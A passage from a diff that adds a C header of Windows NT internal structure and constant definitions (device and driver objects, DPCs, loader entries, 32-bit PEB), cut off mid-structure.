LONG Limit; +} KSEMAPHORE, *PKSEMAPHORE, *PRKSEMAPHORE; + +typedef struct _KTIMER { + DISPATCHER_HEADER Header; + ULARGE_INTEGER DueTime; + LIST_ENTRY TimerListEntry; + struct _KDPC *Dpc; + ULONG Processor; + LONG Period; +} KTIMER, *PKTIMER, *PRKTIMER; + +typedef struct _KDEVICE_QUEUE_ENTRY { + LIST_ENTRY DeviceListEntry; + ULONG SortKey; + BOOLEAN Inserted; +} KDEVICE_QUEUE_ENTRY, *PKDEVICE_QUEUE_ENTRY, *PRKDEVICE_QUEUE_ENTRY; + +typedef enum _KDPC_IMPORTANCE { + LowImportance, + MediumImportance, + HighImportance +} KDPC_IMPORTANCE; + +typedef struct _KDPC { + union { + ULONG TargetInfoAsUlong; + struct { + UCHAR Type; + UCHAR Importance; + volatile USHORT Number; + } DUMMYSTRUCTNAME; + } DUMMYUNIONNAME; + + SINGLE_LIST_ENTRY DpcListEntry; + KAFFINITY ProcessorHistory; + PVOID DeferredRoutine; + PVOID DeferredContext; + PVOID SystemArgument1; + PVOID SystemArgument2; + __volatile PVOID DpcData; +} KDPC, *PKDPC, *PRKDPC; + +typedef struct _WAIT_CONTEXT_BLOCK { + union { + KDEVICE_QUEUE_ENTRY WaitQueueEntry; + struct { + LIST_ENTRY DmaWaitEntry; + ULONG NumberOfChannels; + ULONG SyncCallback : 1; + ULONG DmaContext : 1; + ULONG Reserved : 30; + }; + }; + PVOID DeviceRoutine; + PVOID DeviceContext; + ULONG NumberOfMapRegisters; + PVOID DeviceObject; + PVOID CurrentIrp; + PKDPC BufferChainingDpc; +} WAIT_CONTEXT_BLOCK, *PWAIT_CONTEXT_BLOCK; + +#define MAXIMUM_VOLUME_LABEL_LENGTH (32 * sizeof(WCHAR)) // 32 characters + +typedef struct _VPB { + CSHORT Type; + CSHORT Size; + USHORT Flags; + USHORT VolumeLabelLength; // in bytes + struct _DEVICE_OBJECT *DeviceObject; + struct _DEVICE_OBJECT *RealDevice; + ULONG SerialNumber; + ULONG ReferenceCount; + WCHAR VolumeLabel[MAXIMUM_VOLUME_LABEL_LENGTH / sizeof(WCHAR)]; +} VPB, *PVPB; + +typedef struct _KQUEUE { + DISPATCHER_HEADER Header; + LIST_ENTRY EntryListHead; + ULONG CurrentCount; + ULONG MaximumCount; + LIST_ENTRY ThreadListHead; +} KQUEUE, *PKQUEUE; + +typedef struct _KDEVICE_QUEUE { + CSHORT Type; + CSHORT Size; + LIST_ENTRY DeviceListHead; + KSPIN_LOCK Lock; + +#if defined(_AMD64_) + + union { + BOOLEAN Busy; + struct { + LONG64 Reserved : 8; + LONG64 Hint : 56; + }; + }; + +#else + + BOOLEAN Busy; + +#endif + +} KDEVICE_QUEUE, *PKDEVICE_QUEUE, *PRKDEVICE_QUEUE; + +enum _KOBJECTS { + EventNotificationObject = 0x0, + EventSynchronizationObject = 0x1, + MutantObject = 0x2, + ProcessObject = 0x3, + QueueObject = 0x4, + SemaphoreObject = 0x5, + ThreadObject = 0x6, + GateObject = 0x7, + TimerNotificationObject = 0x8, + TimerSynchronizationObject = 0x9, + Spare2Object = 0xa, + Spare3Object = 0xb, + Spare4Object = 0xc, + Spare5Object = 0xd, + Spare6Object = 0xe, + Spare7Object = 0xf, + Spare8Object = 0x10, + Spare9Object = 0x11, + ApcObject = 0x12, + DpcObject = 0x13, + DeviceQueueObject = 0x14, + EventPairObject = 0x15, + InterruptObject = 0x16, + ProfileObject = 0x17, + ThreadedDpcObject = 0x18, + MaximumKernelObject = 0x19, +}; + +#define DO_VERIFY_VOLUME 0x00000002 // ntddk nthal ntifs wdm +#define DO_BUFFERED_IO 0x00000004 // ntddk nthal ntifs wdm +#define DO_EXCLUSIVE 0x00000008 // ntddk nthal ntifs wdm +#define DO_DIRECT_IO 0x00000010 // ntddk nthal ntifs wdm +#define DO_MAP_IO_BUFFER 0x00000020 // ntddk nthal ntifs wdm +#define DO_DEVICE_HAS_NAME 0x00000040 // ntddk nthal ntifs +#define DO_DEVICE_INITIALIZING 0x00000080 // ntddk nthal ntifs wdm +#define DO_SYSTEM_BOOT_PARTITION 0x00000100 // ntddk nthal ntifs +#define DO_LONG_TERM_REQUESTS 0x00000200 // ntddk nthal ntifs +#define DO_NEVER_LAST_DEVICE 0x00000400 // ntddk nthal ntifs +#define DO_SHUTDOWN_REGISTERED 0x00000800 // ntddk nthal ntifs wdm +#define DO_BUS_ENUMERATED_DEVICE 0x00001000 // ntddk nthal ntifs wdm +#define DO_POWER_PAGABLE 0x00002000 // ntddk nthal ntifs wdm +#define DO_POWER_INRUSH 0x00004000 // ntddk nthal ntifs wdm +#define DO_POWER_NOOP 0x00008000 +#define DO_LOW_PRIORITY_FILESYSTEM 0x00010000 // ntddk nthal ntifs +#define DO_XIP 0x00020000 + +#define FILE_REMOVABLE_MEDIA 0x00000001 +#define FILE_READ_ONLY_DEVICE 0x00000002 +#define FILE_FLOPPY_DISKETTE 0x00000004 +#define FILE_WRITE_ONCE_MEDIA 0x00000008 +#define FILE_REMOTE_DEVICE 0x00000010 +#define FILE_DEVICE_IS_MOUNTED 0x00000020 +#define FILE_VIRTUAL_VOLUME 0x00000040 +#define FILE_AUTOGENERATED_DEVICE_NAME 0x00000080 +#define FILE_DEVICE_SECURE_OPEN 0x00000100 +#define FILE_CHARACTERISTIC_PNP_DEVICE 0x00000800 +#define FILE_CHARACTERISTIC_TS_DEVICE 0x00001000 +#define FILE_CHARACTERISTIC_WEBDAV_DEVICE 0x00002000 +#define FILE_CHARACTERISTIC_CSV 0x00010000 +#define FILE_DEVICE_ALLOW_APPCONTAINER_TRAVERSAL 0x00020000 +#define FILE_PORTABLE_DEVICE 0x00040000 + +#define FILE_DEVICE_BEEP 0x00000001 +#define FILE_DEVICE_CD_ROM 0x00000002 +#define FILE_DEVICE_CD_ROM_FILE_SYSTEM 0x00000003 +#define FILE_DEVICE_CONTROLLER 0x00000004 +#define FILE_DEVICE_DATALINK 0x00000005 +#define FILE_DEVICE_DFS 0x00000006 +#define FILE_DEVICE_DISK 0x00000007 +#define FILE_DEVICE_DISK_FILE_SYSTEM 0x00000008 +#define FILE_DEVICE_FILE_SYSTEM 0x00000009 +#define FILE_DEVICE_INPORT_PORT 0x0000000a +#define FILE_DEVICE_KEYBOARD 0x0000000b +#define FILE_DEVICE_MAILSLOT 0x0000000c +#define FILE_DEVICE_MIDI_IN 0x0000000d +#define FILE_DEVICE_MIDI_OUT 0x0000000e +#define FILE_DEVICE_MOUSE 0x0000000f +#define FILE_DEVICE_MULTI_UNC_PROVIDER 0x00000010 +#define FILE_DEVICE_NAMED_PIPE 0x00000011 +#define FILE_DEVICE_NETWORK 0x00000012 +#define FILE_DEVICE_NETWORK_BROWSER 0x00000013 +#define FILE_DEVICE_NETWORK_FILE_SYSTEM 0x00000014 +#define FILE_DEVICE_NULL 0x00000015 +#define FILE_DEVICE_PARALLEL_PORT 0x00000016 +#define FILE_DEVICE_PHYSICAL_NETCARD 0x00000017 +#define FILE_DEVICE_PRINTER 0x00000018 +#define FILE_DEVICE_SCANNER 0x00000019 +#define FILE_DEVICE_SERIAL_MOUSE_PORT 0x0000001a +#define FILE_DEVICE_SERIAL_PORT 0x0000001b +#define FILE_DEVICE_SCREEN 0x0000001c +#define FILE_DEVICE_SOUND 0x0000001d +#define FILE_DEVICE_STREAMS 0x0000001e +#define FILE_DEVICE_TAPE 0x0000001f +#define FILE_DEVICE_TAPE_FILE_SYSTEM 0x00000020 +#define FILE_DEVICE_TRANSPORT 0x00000021 +#define FILE_DEVICE_UNKNOWN 0x00000022 +#define FILE_DEVICE_VIDEO 0x00000023 +#define FILE_DEVICE_VIRTUAL_DISK 0x00000024 +#define FILE_DEVICE_WAVE_IN 0x00000025 +#define FILE_DEVICE_WAVE_OUT 0x00000026 +#define FILE_DEVICE_8042_PORT 0x00000027 +#define FILE_DEVICE_NETWORK_REDIRECTOR 0x00000028 +#define FILE_DEVICE_BATTERY 0x00000029 +#define FILE_DEVICE_BUS_EXTENDER 0x0000002a +#define FILE_DEVICE_MODEM 0x0000002b +#define FILE_DEVICE_VDM 0x0000002c +#define FILE_DEVICE_MASS_STORAGE 0x0000002d +#define FILE_DEVICE_SMB 0x0000002e +#define FILE_DEVICE_KS 0x0000002f +#define FILE_DEVICE_CHANGER 0x00000030 +#define FILE_DEVICE_SMARTCARD 0x00000031 +#define FILE_DEVICE_ACPI 0x00000032 +#define FILE_DEVICE_DVD 0x00000033 +#define FILE_DEVICE_FULLSCREEN_VIDEO 0x00000034 +#define FILE_DEVICE_DFS_FILE_SYSTEM 0x00000035 +#define FILE_DEVICE_DFS_VOLUME 0x00000036 +#define FILE_DEVICE_SERENUM 0x00000037 +#define FILE_DEVICE_TERMSRV 0x00000038 +#define FILE_DEVICE_KSEC 0x00000039 +#define FILE_DEVICE_FIPS 0x0000003A +#define FILE_DEVICE_INFINIBAND 0x0000003B +#define FILE_DEVICE_VMBUS 0x0000003E +#define FILE_DEVICE_CRYPT_PROVIDER 0x0000003F +#define FILE_DEVICE_WPD 0x00000040 +#define FILE_DEVICE_BLUETOOTH 0x00000041 +#define FILE_DEVICE_MT_COMPOSITE 0x00000042 +#define FILE_DEVICE_MT_TRANSPORT 0x00000043 +#define FILE_DEVICE_BIOMETRIC 0x00000044 +#define FILE_DEVICE_PMI 0x00000045 +#define FILE_DEVICE_EHSTOR 0x00000046 +#define FILE_DEVICE_DEVAPI 0x00000047 +#define FILE_DEVICE_GPIO 0x00000048 +#define FILE_DEVICE_USBEX 0x00000049 +#define FILE_DEVICE_CONSOLE 0x00000050 +#define FILE_DEVICE_NFP 0x00000051 +#define FILE_DEVICE_SYSENV 0x00000052 +#define FILE_DEVICE_VIRTUAL_BLOCK 0x00000053 +#define FILE_DEVICE_POINT_OF_SERVICE 0x00000054 + +#define FILE_BYTE_ALIGNMENT 0x00000000 +#define FILE_WORD_ALIGNMENT 0x00000001 +#define FILE_LONG_ALIGNMENT 0x00000003 +#define FILE_QUAD_ALIGNMENT 0x00000007 +#define FILE_OCTA_ALIGNMENT 0x0000000f +#define FILE_32_BYTE_ALIGNMENT 0x0000001f +#define FILE_64_BYTE_ALIGNMENT 0x0000003f +#define FILE_128_BYTE_ALIGNMENT 0x0000007f +#define FILE_256_BYTE_ALIGNMENT 0x000000ff +#define FILE_512_BYTE_ALIGNMENT 0x000001ff + +#define DPC_NORMAL 0 +#define DPC_THREADED 1 + +typedef struct _DEVICE_OBJECT { + CSHORT Type; + USHORT Size; + LONG ReferenceCount; + struct _DRIVER_OBJECT *DriverObject; + struct _DEVICE_OBJECT *NextDevice; + struct _DEVICE_OBJECT *AttachedDevice; + struct _IRP *CurrentIrp; + PVOID Timer; + ULONG Flags; + ULONG Characteristics; + __volatile PVPB Vpb; + PVOID DeviceExtension; + DEVICE_TYPE DeviceType; + CCHAR StackSize; + union { + LIST_ENTRY ListEntry; + WAIT_CONTEXT_BLOCK Wcb; + } Queue; + ULONG AlignmentRequirement; + KDEVICE_QUEUE DeviceQueue; + KDPC Dpc; + ULONG ActiveThreadCount; + PSECURITY_DESCRIPTOR SecurityDescriptor; + KEVENT DeviceLock; + USHORT SectorSize; + USHORT Spare1; + struct _DEVOBJ_EXTENSION * DeviceObjectExtension; + PVOID Reserved; +} DEVICE_OBJECT, *PDEVICE_OBJECT; + +typedef struct _DEVOBJ_EXTENSION { + + CSHORT Type; + USHORT Size; + + // + // Public part of the DeviceObjectExtension structure + // + + PDEVICE_OBJECT DeviceObject; // owning device object + + // end_ntddk end_nthal end_ntifs end_wdm end_ntosp + + // + // Universal Power Data - all device objects must have this + // + + ULONG PowerFlags; // see ntos\po\pop.h + // WARNING: Access via PO macros + // and with PO locking rules ONLY. + + // + // Pointer to the non-universal power data + // Power data that only some device objects need is stored in the + // device object power extension -> DOPE + // see po.h + // + + struct _DEVICE_OBJECT_POWER_EXTENSION *Dope; + + // + // power state information + // + + // + // Device object extension flags. Protected by the IopDatabaseLock. + // + + ULONG ExtensionFlags; + + // + // PnP manager fields + // + + PVOID DeviceNode; + + // + // AttachedTo is a pointer to the device object that this device + // object is attached to. The attachment chain is now doubly + // linked: this pointer and DeviceObject->AttachedDevice provide the + // linkage. + // + + PDEVICE_OBJECT AttachedTo; + + // + // The next two fields are used to prevent recursion in IoStartNextPacket + // interfaces. + // + + LONG StartIoCount; // Used to keep track of number of pending start ios. + LONG StartIoKey; // Next startio key + ULONG StartIoFlags; // Start Io Flags. Need a separate flag so that it can be accessed without locks + PVPB Vpb; // If not NULL contains the VPB of the mounted volume. + // Set in the filesystem's volume device object. + // This is a reverse VPB pointer. + + // begin_ntddk begin_wdm begin_nthal begin_ntifs begin_ntosp + +} DEVOBJ_EXTENSION, *PDEVOBJ_EXTENSION; + +typedef struct _FAST_IO_DISPATCH { + ULONG SizeOfFastIoDispatch; + PVOID FastIoCheckIfPossible; + PVOID FastIoRead; + PVOID FastIoWrite; + PVOID FastIoQueryBasicInfo; + PVOID FastIoQueryStandardInfo; + PVOID FastIoLock; + PVOID FastIoUnlockSingle; + PVOID FastIoUnlockAll; + PVOID FastIoUnlockAllByKey; + PVOID FastIoDeviceControl; + PVOID AcquireFileForNtCreateSection; + PVOID ReleaseFileForNtCreateSection; + PVOID FastIoDetachDevice; + PVOID FastIoQueryNetworkOpenInfo; + PVOID AcquireForModWrite; + PVOID MdlRead; + PVOID MdlReadComplete; + PVOID PrepareMdlWrite; + PVOID MdlWriteComplete; + PVOID FastIoReadCompressed; + PVOID FastIoWriteCompressed; + PVOID MdlReadCompleteCompressed; + PVOID MdlWriteCompleteCompressed; + PVOID FastIoQueryOpen; + PVOID ReleaseForModWrite; + PVOID AcquireForCcFlush; + PVOID ReleaseForCcFlush; +} FAST_IO_DISPATCH, *PFAST_IO_DISPATCH; + +#define IO_TYPE_ADAPTER 0x00000001 +#define IO_TYPE_CONTROLLER 0x00000002 +#define IO_TYPE_DEVICE 0x00000003 +#define IO_TYPE_DRIVER 0x00000004 +#define IO_TYPE_FILE 0x00000005 +#define IO_TYPE_IRP 0x00000006 +#define IO_TYPE_MASTER_ADAPTER 0x00000007 +#define IO_TYPE_OPEN_PACKET 0x00000008 +#define IO_TYPE_TIMER 0x00000009 +#define IO_TYPE_VPB 0x0000000a +#define IO_TYPE_ERROR_LOG 0x0000000b +#define IO_TYPE_ERROR_MESSAGE 0x0000000c +#define IO_TYPE_DEVICE_OBJECT_EXTENSION 0x0000000d + +#define IRP_MJ_CREATE 0x00 +#define IRP_MJ_CREATE_NAMED_PIPE 0x01 +#define IRP_MJ_CLOSE 0x02 +#define IRP_MJ_READ 0x03 +#define IRP_MJ_WRITE 0x04 +#define IRP_MJ_QUERY_INFORMATION 0x05 +#define IRP_MJ_SET_INFORMATION 0x06 +#define IRP_MJ_QUERY_EA 0x07 +#define IRP_MJ_SET_EA 0x08 +#define IRP_MJ_FLUSH_BUFFERS 0x09 +#define IRP_MJ_QUERY_VOLUME_INFORMATION 0x0a +#define IRP_MJ_SET_VOLUME_INFORMATION 0x0b +#define IRP_MJ_DIRECTORY_CONTROL 0x0c +#define IRP_MJ_FILE_SYSTEM_CONTROL 0x0d +#define IRP_MJ_DEVICE_CONTROL 0x0e +#define IRP_MJ_INTERNAL_DEVICE_CONTROL 0x0f +#define IRP_MJ_SHUTDOWN 0x10 +#define IRP_MJ_LOCK_CONTROL 0x11 +#define IRP_MJ_CLEANUP 0x12 +#define IRP_MJ_CREATE_MAILSLOT 0x13 +#define IRP_MJ_QUERY_SECURITY 0x14 +#define IRP_MJ_SET_SECURITY 0x15 +#define IRP_MJ_POWER 0x16 +#define IRP_MJ_SYSTEM_CONTROL 0x17 +#define IRP_MJ_DEVICE_CHANGE 0x18 +#define IRP_MJ_QUERY_QUOTA 0x19 +#define IRP_MJ_SET_QUOTA 0x1a +#define IRP_MJ_PNP 0x1b +#define IRP_MJ_PNP_POWER IRP_MJ_PNP +#define IRP_MJ_MAXIMUM_FUNCTION 0x1b + +typedef struct _DRIVER_EXTENSION { + + // + // Back pointer to Driver Object + // + + struct _DRIVER_OBJECT *DriverObject; + + // + // The AddDevice entry point is called by the Plug & Play manager + // to inform the driver when a new device instance arrives that this + // driver must control. + // + + PVOID AddDevice; + + // + // The count field is used to count the number of times the driver has + // had its registered reinitialization routine invoked. + // + + ULONG Count; + + // + // The service name field is used by the pnp manager to determine + // where the driver related info is stored in the registry. + // + + UNICODE_STRING ServiceKeyName; + +} DRIVER_EXTENSION, *PDRIVER_EXTENSION; + +#define DRVO_UNLOAD_INVOKED 0x00000001 +#define DRVO_LEGACY_DRIVER 0x00000002 +#define DRVO_BUILTIN_DRIVER 0x00000004 // Driver objects for Hal, PnP Mgr +#define DRVO_REINIT_REGISTERED 0x00000008 +#define DRVO_INITIALIZED 0x00000010 +#define DRVO_BOOTREINIT_REGISTERED 0x00000020 +#define DRVO_LEGACY_RESOURCES 0x00000040 +// end_ntddk end_nthal end_ntifs end_ntosp +#define DRVO_BASE_FILESYSTEM_DRIVER 0x00000080 // A driver that is at the bottom of the filesystem stack. +// begin_ntddk begin_nthal begin_ntifs begin_ntosp + +typedef struct _DRIVER_OBJECT { + CSHORT Type; + CSHORT Size; + + // + // The following links all of the devices created by a single driver + // together on a list, and the Flags word provides an extensible flag + // location for driver objects. + // + + PDEVICE_OBJECT DeviceObject; + ULONG Flags; + + // + // The following section describes where the driver is loaded. The count + // field is used to count the number of times the driver has had its + // registered reinitialization routine invoked. + // + + PVOID DriverStart; + ULONG DriverSize; + PVOID DriverSection; //PLDR_DATA_TABLE_ENTRY + PDRIVER_EXTENSION DriverExtension; + + // + // The driver name field is used by the error log thread + // determine the name of the driver that an I/O request is/was bound. + // + + UNICODE_STRING DriverName; + + // + // The following section is for registry support. Thise is a pointer + // to the path to the hardware information in the registry + // + + PUNICODE_STRING HardwareDatabase; + + // + // The following section contains the optional pointer to an array of + // alternate entry points to a driver for "fast I/O" support. Fast I/O + // is performed by invoking the driver routine directly with separate + // parameters, rather than using the standard IRP call mechanism. Note + // that these functions may only be used for synchronous I/O, and when + // the file is cached. + // + + PFAST_IO_DISPATCH FastIoDispatch; + + // + // The following section describes the entry points to this particular + // driver. Note that the major function dispatch table must be the last + // field in the object so that it remains extensible. + // + + PVOID DriverInit; + PVOID DriverStartIo; + PVOID DriverUnload; + PVOID MajorFunction[IRP_MJ_MAXIMUM_FUNCTION + 1]; + +} DRIVER_OBJECT; +typedef struct _DRIVER_OBJECT *PDRIVER_OBJECT; + +typedef struct _LDR_RESOURCE_INFO { + ULONG_PTR Type; + ULONG_PTR Name; + ULONG Lang; +} LDR_RESOURCE_INFO, *PLDR_RESOURCE_INFO; + +typedef struct _LDR_DATA_TABLE_ENTRY_COMPATIBLE { + LIST_ENTRY InLoadOrderLinks; + LIST_ENTRY InMemoryOrderLinks; + union + { + LIST_ENTRY InInitializationOrderLinks; + LIST_ENTRY InProgressLinks; + } DUMMYUNION0; + PVOID DllBase; + PVOID EntryPoint; + ULONG SizeOfImage; + UNICODE_STRING FullDllName; + UNICODE_STRING BaseDllName; + ULONG Flags; + WORD ObsoleteLoadCount; + WORD TlsIndex; + union + { + LIST_ENTRY HashLinks; + struct + { + PVOID SectionPointer; + ULONG CheckSum; + }; + } DUMMYUNION1; + union + { + ULONG TimeDateStamp; + PVOID LoadedImports; + } DUMMYUNION2; + //fields below removed for compatibility +} LDR_DATA_TABLE_ENTRY_COMPATIBLE, *PLDR_DATA_TABLE_ENTRY_COMPATIBLE; +typedef LDR_DATA_TABLE_ENTRY_COMPATIBLE LDR_DATA_TABLE_ENTRY; +typedef LDR_DATA_TABLE_ENTRY_COMPATIBLE *PLDR_DATA_TABLE_ENTRY; +typedef LDR_DATA_TABLE_ENTRY *PCLDR_DATA_TABLE_ENTRY; + +typedef struct _LDR_DLL_LOADED_NOTIFICATION_DATA { + ULONG Flags; //Reserved. + PCUNICODE_STRING FullDllName; //The full path name of the DLL module. + PCUNICODE_STRING BaseDllName; //The base file name of the DLL module. + PVOID DllBase; //A pointer to the base address for the DLL in memory. + ULONG SizeOfImage; //The size of the DLL image, in bytes. +} LDR_DLL_LOADED_NOTIFICATION_DATA, *PLDR_DLL_LOADED_NOTIFICATION_DATA; + +typedef struct _LDR_DLL_UNLOADED_NOTIFICATION_DATA { + ULONG Flags; //Reserved. + PCUNICODE_STRING FullDllName; //The full path name of the DLL module. + PCUNICODE_STRING BaseDllName; //The base file name of the DLL module. + PVOID DllBase; //A pointer to the base address for the DLL in memory. + ULONG SizeOfImage; //The size of the DLL image, in bytes. +} LDR_DLL_UNLOADED_NOTIFICATION_DATA, *PLDR_DLL_UNLOADED_NOTIFICATION_DATA; + +typedef union _LDR_DLL_NOTIFICATION_DATA { + LDR_DLL_LOADED_NOTIFICATION_DATA Loaded; + LDR_DLL_UNLOADED_NOTIFICATION_DATA Unloaded; +} LDR_DLL_NOTIFICATION_DATA, *PLDR_DLL_NOTIFICATION_DATA; +typedef const LDR_DLL_NOTIFICATION_DATA *PCLDR_DLL_NOTIFICATION_DATA; + +#define LDR_DLL_NOTIFICATION_REASON_LOADED 1 +#define LDR_DLL_NOTIFICATION_REASON_UNLOADED 2 + +/* +* WDM END +*/ + +/* +* NTQSI Modules START +*/ + +typedef struct _RTL_PROCESS_MODULE_INFORMATION { + HANDLE Section; + PVOID MappedBase; + PVOID ImageBase; + ULONG ImageSize; + ULONG Flags; + USHORT LoadOrderIndex; + USHORT InitOrderIndex; + USHORT LoadCount; + USHORT OffsetToFileName; + UCHAR FullPathName[256]; +} RTL_PROCESS_MODULE_INFORMATION, *PRTL_PROCESS_MODULE_INFORMATION; + +typedef struct _RTL_PROCESS_MODULES { + ULONG NumberOfModules; + RTL_PROCESS_MODULE_INFORMATION Modules[1]; +} RTL_PROCESS_MODULES, *PRTL_PROCESS_MODULES; + +/* +* NTQSI Modules END +*/ + +/* +** Virtual Memory START +*/ + +typedef enum _MEMORY_INFORMATION_CLASS +{ + MemoryBasicInformation, + MemoryWorkingSetInformation, + MemoryMappedFilenameInformation, + MemoryRegionInformation, + MemoryWorkingSetExInformation +} MEMORY_INFORMATION_CLASS, *PMEMORY_INFORMATION_CLASS; + +typedef struct _MEMORY_REGION_INFORMATION { + PVOID AllocationBase; + ULONG AllocationProtect; + ULONG RegionType; + SIZE_T RegionSize; +} MEMORY_REGION_INFORMATION, *PMEMORY_REGION_INFORMATION; + +/* +** Virtual Memory END +*/ + +/* +** System Firmware START +*/ + +typedef enum _SYSTEM_FIRMWARE_TABLE_ACTION +{ + SystemFirmwareTable_Enumerate, + SystemFirmwareTable_Get +} SYSTEM_FIRMWARE_TABLE_ACTION, *PSYSTEM_FIRMWARE_TABLE_ACTION; + +typedef struct _SYSTEM_FIRMWARE_TABLE_INFORMATION { + ULONG ProviderSignature; + SYSTEM_FIRMWARE_TABLE_ACTION Action; + ULONG TableID; + ULONG TableBufferLength; + UCHAR TableBuffer[ANYSIZE_ARRAY]; +} SYSTEM_FIRMWARE_TABLE_INFORMATION, *PSYSTEM_FIRMWARE_TABLE_INFORMATION; + +/* +** System Firmware END +*/ + +// +// PEB/TEB +// +#define GDI_HANDLE_BUFFER_SIZE32 34 +#define GDI_HANDLE_BUFFER_SIZE64 60 + +#if !defined(_M_X64) +#define GDI_HANDLE_BUFFER_SIZE GDI_HANDLE_BUFFER_SIZE32 +#else +#define GDI_HANDLE_BUFFER_SIZE GDI_HANDLE_BUFFER_SIZE64 +#endif + +typedef ULONG GDI_HANDLE_BUFFER32[GDI_HANDLE_BUFFER_SIZE32]; +typedef ULONG GDI_HANDLE_BUFFER64[GDI_HANDLE_BUFFER_SIZE64]; +typedef ULONG GDI_HANDLE_BUFFER[GDI_HANDLE_BUFFER_SIZE]; + +#define RTL_MAX_DRIVE_LETTERS 32 +#define RTL_DRIVE_LETTER_VALID (USHORT)0x0001 + +#define GDI_MAX_HANDLE_COUNT 0x4000 + +// 32-bit definitions +typedef struct _STRING32 { + USHORT Length; + USHORT MaximumLength; + ULONG Buffer; +} STRING32; +typedef STRING32 *PSTRING32; + +typedef STRING32 UNICODE_STRING32; + +#if (_MSC_VER < 1300) && !defined(_WINDOWS_) +typedef struct LIST_ENTRY32 { + DWORD Flink; + DWORD Blink; +} LIST_ENTRY32; +typedef LIST_ENTRY32 *PLIST_ENTRY32; + +typedef struct LIST_ENTRY64 { + ULONGLONG Flink; + ULONGLONG Blink; +} LIST_ENTRY64; +typedef LIST_ENTRY64 *PLIST_ENTRY64; +#endif + +#define WOW64_POINTER(Type) ULONG + +typedef struct _PEB_LDR_DATA32 { + ULONG Length; + BOOLEAN Initialized; + WOW64_POINTER(HANDLE) SsHandle; + LIST_ENTRY32 InLoadOrderModuleList; + LIST_ENTRY32 InMemoryOrderModuleList; + LIST_ENTRY32 InInitializationOrderModuleList; + WOW64_POINTER(PVOID) EntryInProgress; + BOOLEAN ShutdownInProgress; + WOW64_POINTER(HANDLE) ShutdownThreadId; +} PEB_LDR_DATA32, *PPEB_LDR_DATA32; + +#define LDR_DATA_TABLE_ENTRY_SIZE_WINXP32 FIELD_OFFSET( LDR_DATA_TABLE_ENTRY32, ForwarderLinks ) + +typedef struct _LDR_DATA_TABLE_ENTRY32 { + LIST_ENTRY32 InLoadOrderLinks; + LIST_ENTRY32 InMemoryOrderLinks; + LIST_ENTRY32 InInitializationOrderLinks; + WOW64_POINTER(PVOID) DllBase; + WOW64_POINTER(PVOID) EntryPoint; + ULONG SizeOfImage; + UNICODE_STRING32 FullDllName; + UNICODE_STRING32 BaseDllName; + ULONG Flags; + USHORT LoadCount; + USHORT TlsIndex; + union + { + LIST_ENTRY32 HashLinks; + struct + { + WOW64_POINTER(PVOID) SectionPointer; + ULONG CheckSum; + }; + }; + union + { + ULONG TimeDateStamp; + WOW64_POINTER(PVOID) LoadedImports; + }; + WOW64_POINTER(PVOID) EntryPointActivationContext; + WOW64_POINTER(PVOID) PatchInformation; + LIST_ENTRY32 ForwarderLinks; + LIST_ENTRY32 ServiceTagLinks; + LIST_ENTRY32 StaticLinks; + WOW64_POINTER(PVOID) ContextInformation; + WOW64_POINTER(ULONG_PTR) OriginalBase; + LARGE_INTEGER LoadTime; +} LDR_DATA_TABLE_ENTRY32, *PLDR_DATA_TABLE_ENTRY32; + +typedef struct _CURDIR32 { + UNICODE_STRING32 DosPath; + WOW64_POINTER(HANDLE) Handle; +} CURDIR32, *PCURDIR32; + +typedef struct _RTL_DRIVE_LETTER_CURDIR32 { + USHORT Flags; + USHORT Length; + ULONG TimeStamp; + STRING32 DosPath; +} RTL_DRIVE_LETTER_CURDIR32, *PRTL_DRIVE_LETTER_CURDIR32; + +typedef struct _RTL_USER_PROCESS_PARAMETERS32 { + ULONG MaximumLength; + ULONG Length; + + ULONG Flags; + ULONG DebugFlags; + + WOW64_POINTER(HANDLE) ConsoleHandle; + ULONG ConsoleFlags; + WOW64_POINTER(HANDLE) StandardInput; + WOW64_POINTER(HANDLE) StandardOutput; + WOW64_POINTER(HANDLE) StandardError; + + CURDIR32 CurrentDirectory; + UNICODE_STRING32 DllPath; + UNICODE_STRING32 ImagePathName; + UNICODE_STRING32 CommandLine; + WOW64_POINTER(PVOID) Environment; + + ULONG StartingX; + ULONG StartingY; + ULONG CountX; + ULONG CountY; + ULONG CountCharsX; + ULONG CountCharsY; + ULONG FillAttribute; + + ULONG WindowFlags; + ULONG ShowWindowFlags; + UNICODE_STRING32 WindowTitle; + UNICODE_STRING32 DesktopInfo; + UNICODE_STRING32 ShellInfo; + UNICODE_STRING32 RuntimeData; + RTL_DRIVE_LETTER_CURDIR32 CurrentDirectories[RTL_MAX_DRIVE_LETTERS]; + + ULONG EnvironmentSize; + ULONG EnvironmentVersion; +} RTL_USER_PROCESS_PARAMETERS32, *PRTL_USER_PROCESS_PARAMETERS32; + +typedef struct _PEB32 { + BOOLEAN InheritedAddressSpace; + BOOLEAN ReadImageFileExecOptions; + BOOLEAN BeingDebugged; + union + { + BOOLEAN BitField; + struct + { + BOOLEAN ImageUsesLargePages : 1; + BOOLEAN IsProtectedProcess : 1; + BOOLEAN IsLegacyProcess : 1; + BOOLEAN IsImageDynamicallyRelocated : 1; + BOOLEAN SkipPatchingUser32Forwarders : 1; + BOOLEAN SpareBits : 3; + }; + }; + WOW64_POINTER(HANDLE) Mutant; + + WOW64_POINTER(PVOID) ImageBaseAddress; + WOW64_POINTER(PPEB_LDR_DATA) Ldr; + WOW64_POINTER(PRTL_USER_PROCESS_PARAMETERS) ProcessParameters; + WOW64_POINTER(PVOID) SubSystemData; + WOW64_POINTER(PVOID) ProcessHeap; + WOW64_POINTER(PRTL_CRITICAL_SECTION) FastPebLock; + WOW64_POINTER(PVOID) AtlThunkSListPtr; + WOW64_POINTER(PVOID) IFEOKey; + union + { + ULONG CrossProcessFlags; + struct + { + ULONG ProcessInJob : 1; + ULONG ProcessInitializing : 1; + ULONG ProcessUsingVEH : 1; + ULONG ProcessUsingVCH : 1; + ULONG ProcessUsingFTH : 1; + ULONG ReservedBits0 : 27; + }; + ULONG EnvironmentUpdateCount; + }; + union + { + WOW64_POINTER(PVOID) KernelCallbackTable; + WOW64_POINTER(PVOID) UserSharedInfoPtr; + }; + ULONG SystemReserved[1]; + ULONG AtlThunkSListPtr32; + WOW64_POINTER(PVOID) ApiSetMap; + ULONG TlsExpansionCounter; + WOW64_POINTER(PVOID) TlsBitmap; + ULONG TlsBitmapBits[2]; + WOW64_POINTER(PVOID) ReadOnlySharedMemoryBase; + WOW64_POINTER(PVOID) HotpatchInformation; + WOW64_POINTER(PPVOID) ReadOnlyStaticServerData; + WOW64_POINTER(PVOID) AnsiCodePageData; + WOW64_POINTER(PVOID) OemCodePageData; + 